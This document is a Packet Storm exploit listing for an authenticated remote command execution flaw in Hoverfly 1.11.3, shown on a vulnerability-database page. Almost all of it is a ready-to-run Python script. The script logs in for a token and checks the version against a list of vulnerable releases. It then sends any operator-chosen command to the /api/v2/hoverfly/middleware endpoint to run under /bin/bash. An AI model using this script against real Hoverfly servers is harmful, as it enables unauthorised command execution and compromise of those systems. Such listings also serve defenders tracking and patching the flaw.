Lucene search
K

📄 Hoverfly 1.11.3 Remote Command Execution

🗓️ 23 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 45 Views

Authenticated remote code execution exploit against Hoverfly 1.11.3 via the middleware interface.

Code
==================================================================================================================================
    | # Title     : Hoverfly 1.11.3 Middleware API Authenticated RCE Exploit                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://hoverfly.io/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is an exploitation tool targeting a vulnerable Hoverfly API endpoint, specifically the /api/v2/hoverfly/middleware functionality, 
                     which allows execution of user-supplied input through a backend binary.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import re
    import json
    import time
    import signal
    from urllib.parse import urljoin
    
    class Colors:
        GREEN = '\033[0;32m'
        RED = '\033[0;31m'
        BLUE = '\033[0;34m'
        YELLOW = '\033[0;33m'
        PURPLE = '\033[0;35m'
        CYAN = '\033[0;36m'
        END = '\033[0m'
    
    def signal_handler(sig, frame):
        print(f"\n\n{Colors.RED}[!] Exiting...{Colors.END}")
        sys.exit(1)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    def help_panel():
        print(f"{Colors.YELLOW}")
        print("Usage: python3 script.py -t http://target.com:8888 -u <user> -p <password> -c \"<command>\"")
        print(f"{Colors.END}")
    
    def is_reachable(target):
        try:
            response = requests.get(target, timeout=10, verify=False)
            if 200 <= response.status_code < 500:
                print(f"{Colors.GREEN}[OK] Target is reachable.{Colors.END}\n")
                return True
            else:
                print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
                return False
        except requests.RequestException:
            print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
            return False
    
    def get_token(target, username, password):
        print(f"{Colors.CYAN}[STEP] Requesting authentication token...{Colors.END}")
        try:
            response = requests.post(
                f"{target}/api/token-auth",
                headers={"Content-Type": "application/json"},
                json={"username": username, "password": password},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                try:
                    token = response.json().get("token")
                    if token:
                        print(f"{Colors.GREEN}[OK] Token acquired successfully.{Colors.END}")
                        return token
                except json.JSONDecodeError:
                    return None
        except requests.RequestException:
            pass
        
        return None
    
    def get_version(target, token):
        print(f"\n{Colors.CYAN}[STEP] Retrieving Hoverfly version...{Colors.END}")
        try:
            response = requests.get(
                f"{target}/api/v2/hoverfly/version",
                headers={"Authorization": f"Bearer {token}"},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                try:
                    version = response.json().get("version", "")
                    if version:
                        version = version.replace('v', '')
                        print(f"{Colors.BLUE}[INFO] Detected version: {Colors.YELLOW}v{version}{Colors.END}\n")
                        return version
                except json.JSONDecodeError:
                    return None
        except requests.RequestException:
            pass
        
        return None
    
    def is_vulnerable(version):
        print(f"{Colors.CYAN}[STEP] Checking if target version is vulnerable...{Colors.END}")
        vulnerable_versions = [
            "1.11.3", "1.11.2", "1.11.1", "1.11.0",
            "1.10.13", "1.10.12", "1.10.11", "1.10.10"
        ]
        
        if version and version in vulnerable_versions:
            print(f"{Colors.GREEN}[OK] Vulnerable version detected: {Colors.RED}{version}{Colors.END}")
            return True
        
        print(f"{Colors.RED}[FAIL] Target is not vulnerable.{Colors.END}")
        return False
    
    def exploit(target, token, command):
        print(f"\n{Colors.CYAN}[STEP] Attempting command execution...{Colors.END}")
        
        try:
            response = requests.put(
                f"{target}/api/v2/hoverfly/middleware",
                headers={"Authorization": f"Bearer {token}"},
                json={"binary": "/bin/bash", "script": command},
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                response_text = response.text.replace('\\n', '\n')
                
                try:
                    data = response.json()
                    output = data.get('output')
                    if output:
                        print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
                        print(f"{Colors.PURPLE}{output}{Colors.END}")
                        return True
                except json.JSONDecodeError:
                    pass
    
                match = re.search(r'STDOUT:(.*?)(?:STDERR:|$)', response_text, re.DOTALL)
                if match:
                    output = match.group(1).strip()
                    print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
                    print(f"{Colors.PURPLE}{output}{Colors.END}")
                    return True
    
                print(f"{Colors.YELLOW}[WARN] No output received.{Colors.END}")
                return True
    
            print(f"{Colors.RED}[FAIL] Request failed: {response.status_code}{Colors.END}")
            return False
    
        except requests.RequestException as e:
            print(f"{Colors.RED}[ERROR] {e}{Colors.END}")
            return False
    
    def main():
        import argparse
        
        parser = argparse.ArgumentParser(add_help=False)
        parser.add_argument('-t', '--target')
        parser.add_argument('-c', '--command')
        parser.add_argument('-u', '--username')
        parser.add_argument('-p', '--password')
        parser.add_argument('-h', '--help', action='store_true')
        
        args = parser.parse_args()
        
        if args.help or not all([args.target, args.command, args.username, args.password]):
            help_panel()
            sys.exit(1)
        
        target = args.target.rstrip('/')
        
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        
        print('\033[?25l', end='')
    
        try:
            print(f"{Colors.YELLOW}=== START ==={Colors.END}")
            
            if not is_reachable(target):
                sys.exit(1)
    
            token = get_token(target, args.username, args.password)
            if not token:
                print(f"{Colors.RED}[-] Auth failed{Colors.END}")
                sys.exit(1)
    
            version = get_version(target, token)
            if not version or not is_vulnerable(version):
                sys.exit(1)
    
            exploit(target, token, args.command)
    
            print(f"{Colors.YELLOW}=== END ==={Colors.END}")
    
        finally:
            print('\033[?25h', end='')
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation